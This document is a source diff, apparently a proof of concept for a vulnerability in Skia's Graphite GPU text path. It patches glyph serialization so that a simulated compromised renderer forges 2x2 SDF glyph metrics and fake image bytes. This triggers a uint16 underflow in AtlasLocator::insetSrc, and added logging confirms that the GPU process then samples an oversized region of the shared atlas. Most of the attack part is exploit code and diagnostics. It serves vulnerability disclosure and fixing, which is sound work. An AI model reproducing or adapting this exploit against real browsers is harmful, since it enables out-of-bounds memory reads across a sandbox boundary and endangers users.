diff --git a/src/core/SkGlyph.cpp b/src/core/SkGlyph.cpp index fe357758a9..06865d047a 100644 --- a/src/core/SkGlyph.cpp +++ b/src/core/SkGlyph.cpp @@ -7,6 +7,7 @@ #include "src/core/SkGlyph.h" +#include #include "include/core/SkCanvas.h" #include "include/core/SkData.h" #include "include/core/SkDrawable.h" @@ -334,7 +335,20 @@ SkDrawable* SkGlyph::drawable() const { void SkGlyph::flattenMetrics(SkWriteBuffer& buffer) const { buffer.writeUInt(fID.value()); buffer.writePoint({fAdvanceX, fAdvanceY}); - buffer.writeUInt(fWidth << 16 | fHeight); + // === POC: Compromised-renderer simulation ========================== + // A compromised renderer crafts strike data with width=2 / height=2 + // for SDF glyphs. This is the only renderer-controlled value needed + // to trigger the AtlasLocator::insetSrc underflow on the GPU side. + // SkGlyph::MakeFromBuffer (GPU side) has no minimum-size check, so + // these dimensions are accepted as-is. + if (fMaskFormat == SkMask::kSDF_Format) { + fprintf(stderr, "[POC renderer] forging 2x2 SDF glyph (real %ux%u)\n", + (unsigned)fWidth, (unsigned)fHeight); + buffer.writeUInt((2u << 16) | 2u); + } else { + buffer.writeUInt(fWidth << 16 | fHeight); + } + // =================================================================== // Note: << has undefined behavior for negative values, so convert everything to the bit // values of uint16_t. Using the cast keeps the signed values fLeft and fTop from sign // extending. @@ -349,6 +363,14 @@ void SkGlyph::flattenImage(SkWriteBuffer& buffer) const { // If the glyph is empty or too big, then no image data is sent. if (!this->isEmpty() && SkGlyphDigest::FitsInAtlas(*this)) { + // === POC: Compromised-renderer simulation ====================== + // Send a 2x2 (=4 byte) kSDF image to match the forged metrics. + if (fMaskFormat == SkMask::kSDF_Format) { + const uint8_t fake[4] = {0x80, 0x80, 0x80, 0x80}; + buffer.writeByteArray(fake, 4); + return; + } + // ============================================================== buffer.writeByteArray(this->image(), this->imageSize()); } } diff --git a/src/gpu/graphite/text/GlyphData.cpp b/src/gpu/graphite/text/GlyphData.cpp index b8f8fe6aad..90f4e37d94 100644 --- a/src/gpu/graphite/text/GlyphData.cpp +++ b/src/gpu/graphite/text/GlyphData.cpp @@ -7,6 +7,7 @@ #include "src/gpu/graphite/text/GlyphData.h" +#include #include "include/private/base/SkAssert.h" #include "src/base/SkZip.h" #include "src/core/SkGlyph.h" @@ -128,6 +129,22 @@ void GlyphData::fillInstanceData(const sktext::gpu::VertexFiller& vf, // where (b_x, b_y) are the vertexID coords for (auto [glyph, leftTop] : quadData()) { auto [al, at, ar, ab] = glyph.entry().fAtlasLocator.getUVs(); + // === POC observation only (GPU process) ======================== + // Glyphs are bounded to <= 256 (kSkSideTooBigForAtlas), so any + // size > 256 here indicates the AtlasLocator::insetSrc uint16 + // underflow has fired and the resulting per-glyph instance will + // sample a 65534x65534 region of the shared kA8 atlas. + const uint16_t sw = uint16_t(ar - al); + const uint16_t sh = uint16_t(ab - at); + if (sw > 256 || sh > 256) { + fprintf(stderr, + "[POC GPU] *** UNDERFLOW *** AtlasLocator UVs l=%u t=%u r=%u b=%u " + "-> instance size=(%u,%u) uvPos=(%u,%u)\n", + (unsigned)al, (unsigned)at, (unsigned)ar, (unsigned)ab, + (unsigned)sw, (unsigned)sh, + (unsigned)(al & 0x1fff), (unsigned)at); + } + // ============================================================== instances.append(1) << AtlasPt{uint16_t(ar-al), uint16_t(ab-at)} << AtlasPt{uint16_t(al & 0x1fff), at} << leftTop << /*index=*/uint16_t(al >> 13) << flags diff --git a/src/gpu/graphite/text/TextAtlasManager.cpp b/src/gpu/graphite/text/TextAtlasManager.cpp index e5dd5132b1..fd1d7a1060 100644 --- a/src/gpu/graphite/text/TextAtlasManager.cpp +++ b/src/gpu/graphite/text/TextAtlasManager.cpp @@ -34,6 +34,7 @@ #include "src/text/gpu/GlyphUtils.h" #include "src/text/gpu/StrikeCache.h" +#include #include #include #include @@ -317,6 +318,20 @@ DrawAtlas::ErrorCode TextAtlasManager::addGlyphToAtlas(const SkGlyph& skGlyph, &glyph->fAtlasLocator); if (errorCode == DrawAtlas::ErrorCode::kSucceeded) { + // === POC observation only (GPU process) ======================== + if (srcPadding == SK_DistanceFieldInset && + (skGlyph.width() < 2 * SK_DistanceFieldInset || + skGlyph.height() < 2 * SK_DistanceFieldInset)) { + auto uv = glyph->fAtlasLocator.getUVs(); + fprintf(stderr, + "[POC GPU] addGlyphToAtlas: SDFT glyph w=%d h=%d (slot UVs " + "%u,%u..%u,%u) -> insetSrc(%d) WILL UNDERFLOW\n", + skGlyph.width(), skGlyph.height(), + (unsigned)uv[0], (unsigned)uv[1], + (unsigned)uv[2], (unsigned)uv[3], + SK_DistanceFieldInset); + } + // ============================================================== glyph->fAtlasLocator.insetSrc(srcPadding); }